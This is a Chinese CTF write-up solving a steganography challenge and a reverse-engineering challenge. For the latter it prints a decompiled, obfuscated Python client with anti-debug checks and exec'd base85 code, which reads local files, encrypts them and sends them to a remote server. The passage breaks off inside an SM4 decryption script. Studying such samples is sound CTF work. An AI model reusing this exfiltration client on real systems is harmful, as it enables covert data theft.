CCSSSC_2026 WP&赛后总结

2629 字
13 分钟
CCSSSC_2026 WP&赛后总结

怎么说呢,这次我真的是几乎一窍不通…第一次直面真正的“简单题”

封面是男娘,好耶

steganography_challenge#

拿到题目,发现是一个无后缀文件名为steganography_challenge

使用010打开,发现有很明显的PNG和IDAT标识…

我爱你,我恨你
我爱你,我恨你

然而直接删去冗余得到一个不怎么行的png(pngcheck显示chunk错误),因此尝试研究magic number…

27 1c 可能对应7z的魔数37 7a bc af 27 1c,因此修改之,得到一个可以打开的7z文件

提取layer2.png,binwalk检查发现除了本体layer2.png之外还有一个文件,因此使用zsteg提取,由文件得知隐写在b1, rgb, lsb, xy,于是

Terminal window
zsteg -e b1,rgb,lsb,xy/layer2.png > test.zip

并修改魔数使其能够正常识别,得到test.zip,解压得到flag.zip和pass1-6.zip

使用ZipCracker CRC32碰撞破解中,少话,,,

逐一破解pass1-6,最后得到pass is c1!xxtLf%fXYPkaA

解压缩得到flag.txt

显然是不可见字符,在010中发现:

于是使用脚本映射零宽字符,

这一段的具体原理看这里:https://yb.tencent.com/s/9mv9UMsXmWSD

运行得到


re3#

下载文件,得到一个无后缀文件client和一个捕获pcap流量包,打开发现加密后的flag.txt

使用DIE查看client发现其由python编写,于是使用pyinstxtractor抽取pyc文件,输入命令

Terminal window
python pyinstxtractor.py pycdc.exe

得到

在pylingual将pyc文件反编译,得到

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'client.py'
# Bytecode version: 3.10.b1 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import base64
import sys
import os
import json
import socket
import hashlib
import crypt_core
import builtins
def _oe(_d, _k1, _k2, _rn):
# ***<module>._oe: Failure: Compilation Error
try:
_b = base64.b85decode(_d.encode())
_r = []
for _i, _x in enumerate(_b):
return ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn),
_r.append(_x, _k if _k else None)
_s = bytes(_r).decode()
_res = []
for _c in _s:
if _c.isalpha():
_base = ord('A') if _c.isupper() else ord('a')
_res.append((chr, ord(_c), _base, _rn, 26, _base))
else:
if _c.isdigit():
_res.append(str(int(_c), _rn or 10))
else:
_res.append(_c)
return ''.join(_res)
except:
return _d
_globs = dict(__name__='__main__', __file__=__file__, __package__=None, _oe=_oe)
for _k in dir(builtins):
if not _k.startswith('_'):
_globs[_k] = getattr(builtins, _k)
_globs['base64'] = base64
_globs['sys'] = sys
_globs['os'] = os
_globs['json'] = json
_globs['socket'] = socket
_globs['hashlib'] = hashlib
_globs['crypt_core'] = crypt_core
def _obf_check():
if hasattr(sys, 'gettrace'):
_tr = sys.gettrace()
if _tr is not None:
return False
return True
def _obf_exec(_code):
# ***<module>._obf_exec: Failure: Different bytecode
if not _obf_check():
return None
else:
exec(compile, _code, chr(60) | chr(111) | chr(98) | chr(102) | chr(101) | chr(120) | chr(99))
_1667 = 'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D<CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT>BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*<UurQmAUz;#VQpe$VLBivGBP<JULZ0sH7Ot~ASg37IUpq<GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C<EB_J{}DGCZ>Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB<ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I>SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF<SMPF1wLQF*<Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb<8AX8L9PDDXcL|;KnP)I>SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2<tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF<SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$<o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~<LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2<b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ>1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D<Cl`3LqdLAaZ4Nb#iVXUw9xsJs>a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu<VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X>K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu<VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe<D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X>4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X<nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W>9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu<VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc<&ARr(hARr(hARr)LWMyGwUt?ixV<;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs>nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe<D}ARr)LX=HdHJs>a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT<ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^<gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z>ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I<WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs>hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN<QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?>adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv<ghvd7qA}I<WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs>hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b<h!=yxQ*qlnB|<PA}I<WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs>hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'
_obf_exec(base64.b85decode(_1667).decode())

最底下有一个很大的字节码(似乎是base85),我们将其破译并写入client_dump中

_j0 = lambda: (30 ^ 126) + (520 % 26)
_j1 = lambda: (158 ^ 184) + (820 % 54)
_j2 = lambda: (37 ^ 2) + (687 % 25)
_j3 = lambda: (72 ^ 112) + (474 % 30)
_j4 = lambda: (173 ^ 82) + (257 % 73)
_j5 = lambda: (117 ^ 203) + (331 % 54)
_j6 = lambda: (242 ^ 46) + (846 % 33)
_j7 = lambda: (21 ^ 148) + (425 % 77)
_j8 = lambda: (139 ^ 134) + (427 % 21)
_j9 = lambda: (245 ^ 62) + (413 % 85)
_j10 = lambda: (242 ^ 65) + (892 % 30)
_j11 = lambda: (22 ^ 58) + (740 % 59)
_j12 = lambda: (139 ^ 248) + (771 % 74)
_j13 = lambda: (219 ^ 230) + (262 % 63)
_j14 = lambda: (17 ^ 89) + (622 % 38)
_j15 = lambda: (229 ^ 205) + (369 % 25)
_j16 = lambda: (111 ^ 33) + (433 % 50)
_j17 = lambda: (41 ^ 142) + (512 % 21)
class _Obf3776:
def __init__(self):
self._v = 751
def _m(self):
return self._v * 5
#!/usr/bin/env python3
import socket
import json
import os
import sys
import hashlib
import time
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core
class CustomBase64:
CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)
STANDARD_ALPHABET = (
_oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17)
)
ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
@classmethod
def decode(cls, data: str) -> bytes:
import base64
std_b64 = data.translate(cls.DECODE_TABLE)
return base64.b64decode(std_b64)
SERVER_HOST = ""
SERVER_PORT = 9999
KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)
KEY = CustomBase64.decode(KEY_B64)
FILES_TO_SEND = [_oe("I-p}FvS)q0emD", 83, 214, 17), _oe("B(-BJ_<B6O", 83, 214, 17), _oe("C$MxRtZ99{emD", 83, 214, 17)]
def _opaque_true():
_x = 0
for _i in range(100):
_x += _i * (_i - _i + 1)
return _x >= 0
def _opaque_false():
_a, _b = 5, 7
return (_a * _b) == (_b * _a + 1)
def _dead_calc():
_dead = 0
for _i in range(50):
_dead = (_dead + _i) % 17
if _dead > 100:
_dead = _dead * 2 + 1
return _dead
def encrypt_file(key: bytes, plaintext: bytes) -> bytes:
_state = 0
_result = None
while _state < 3:
if _state == 0:
if _opaque_true():
_result = crypt_core.encode_data(plaintext, key[:16])
_state = 2
else:
_dead_calc()
_state = 1
elif _state == 1:
_dead_calc()
_state = 2
elif _state == 2:
if _opaque_false():
_result = None
_state = 3
return _result
def send_single_file(sock, filename, plaintext):
_s = 0
_ct = None
_pl = None
while _s < 5:
if _s == 0:
_ct = encrypt_file(KEY, plaintext)
_s = 1
elif _s == 1:
_pl = {_oe("B&>2Jvtu`)", 83, 214, 17): filename, _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex()}
_s = 2
elif _s == 2:
if _opaque_true():
sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n")
_s = 4
else:
_dead_calc()
_s = 3
elif _s == 3:
_dead_calc()
_s = 4
elif _s == 4:
if not _opaque_false():
time.sleep(0.1)
_s = 5
def _verify_cmd(cmd):
_state = 10
_hash_val = None
_valid = False
while _state < 50:
if _state == 10:
if len(cmd) > 0:
_state = 20
else:
_state = 49
elif _state == 20:
_hash_val = hashlib.md5(cmd.encode()).hexdigest()
_state = 30
elif _state == 30:
if _opaque_true():
_valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U", 83, 214, 17)
_state = 40
else:
_dead_calc()
_state = 49
elif _state == 40:
if _valid:
_state = 50
else:
_state = 49
elif _state == 49:
return False
return _valid
def _get_server_host(args):
_s = 100
_host = None
while _s < 200:
if _s == 100:
if len(args) > 2:
_s = 110
else:
_s = 120
elif _s == 110:
_host = args[2]
_s = 200
elif _s == 120:
if _opaque_true():
_host = ""
_s = 200
elif _s == 200:
if _opaque_false():
_host = _oe("Ywsm};Xh>fDF", 83, 214, 17)
_s = 201
return _host
def main():
_state = 0
_sock = None
_idx = 0
_printed_header = False
while _state < 100:
if _state == 0:
if _opaque_false():
print(_oe("2B2dm_GLArX8", 83, 214, 17))
_state = 1
elif _state == 1:
if len(sys.argv) < 2:
_state = 5
else:
_state = 2
elif _state == 2:
if _verify_cmd(sys.argv[1]):
_state = 3
else:
_state = 4
elif _state == 3:
if not _printed_header:
print("=" * 50)
print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17))
print("=" * 50)
_printed_header = True
_state = 10
elif _state == 4:
print("错误:无效的命令")
_state = 99
elif _state == 5:
print("用法:python client.py <command> [SERVER_HOST]")
_state = 99
elif _state == 10:
try:
_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_state = 11
except Exception:
_state = 99
elif _state == 11:
_host = _get_server_host(sys.argv)
_state = 12
elif _state == 12:
try:
_sock.connect((_host, SERVER_PORT))
_state = 20
except Exception as e:
print(f"[!] 连接失败:{e}")
_state = 99
elif _state == 20:
if _idx < len(FILES_TO_SEND):
_state = 21
else:
_state = 30
elif _state == 21:
_fname = FILES_TO_SEND[_idx]
_state = 22
elif _state == 22:
if os.path.exists(_fname):
_state = 23
else:
_state = 28
elif _state == 23:
with open(_fname, "rb") as _f:
_data = _f.read()
_state = 24
elif _state == 24:
if _opaque_true():
print(f"[*] 发送文件")
_state = 25
elif _state == 25:
if not _opaque_false():
send_single_file(_sock, _fname, _data)
_state = 26
elif _state == 26:
_idx += 1
_state = 20
elif _state == 28:
print(f"[-] 文件不存在")
_state = 29
elif _state == 29:
_idx += 1
_state = 20
elif _state == 30:
if _opaque_true():
time.sleep(0.2)
_state = 31
elif _state == 31:
if _sock:
_sock.close()
_state = 99
elif _state == 99:
break
if __name__ == _oe("42g9itaJ>C", 83, 214, 17):
_dead_calc()
if _opaque_true():
main()
else:
_dead_calc()

尝试根据custom alphabet还原_oe函数,根据之前的流量传输中的flag.txt,我们尝试破译,发现加密逻辑位于crypt_core.so中

init时全局变量保存偏移

encode_data 传入key为passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B

检查函数sub_9820和sub_60B0,确认key参与加密的为前16字节,算法为SM4,使用ECB方法,迭代24轮 其实这一段我也不知道什么意思,但是是这么说的

使用脚本

SBOX = bytes.fromhex(
    "ec ca 0e f3 08 f0 2a a2 3b 18 2b 5c 37 bd 12 a8"
    "05 d3 a1 57 4f 96 fc f5 a7 14 19 66 58 9b bf b4"
    "39 d5 1e 1a 30 bc 6c 80 b7 ed 41 06 d9 17 67 cd"
    "1d 2c ae 24 03 13 c6 53 83 11 0a f7 c0 4d c4 9e"
    "8d 00 1f c3 3f 35 9f cb 72 9d 16 6f ac ce 3c 5e"
    "a6 e1 7b 34 36 32 b8 95 91 89 52 c1 e7 a3 33 48"
    "04 cf 10 eb 25 bb 8e 0f 81 6e b3 43 45 8f 49 f8"
    "4b 59 07 4a de fd c8 d0 84 8b fb da db 28 d4 3e"
    "a4 2f 56 be ef 86 c7 62 ea 76 e9 d6 74 a5 6b f9"
    "98 7d 3a 26 5a af 87 0d 1b 2e b2 e3 6a cc f1 ff"
    "d7 f6 1c c9 e8 70 20 4e 23 3d c2 aa dc 0b f2 5f"
    "7a fa 88 97 47 d1 0c 02 31 7f f4 75 15 93 38 8a"
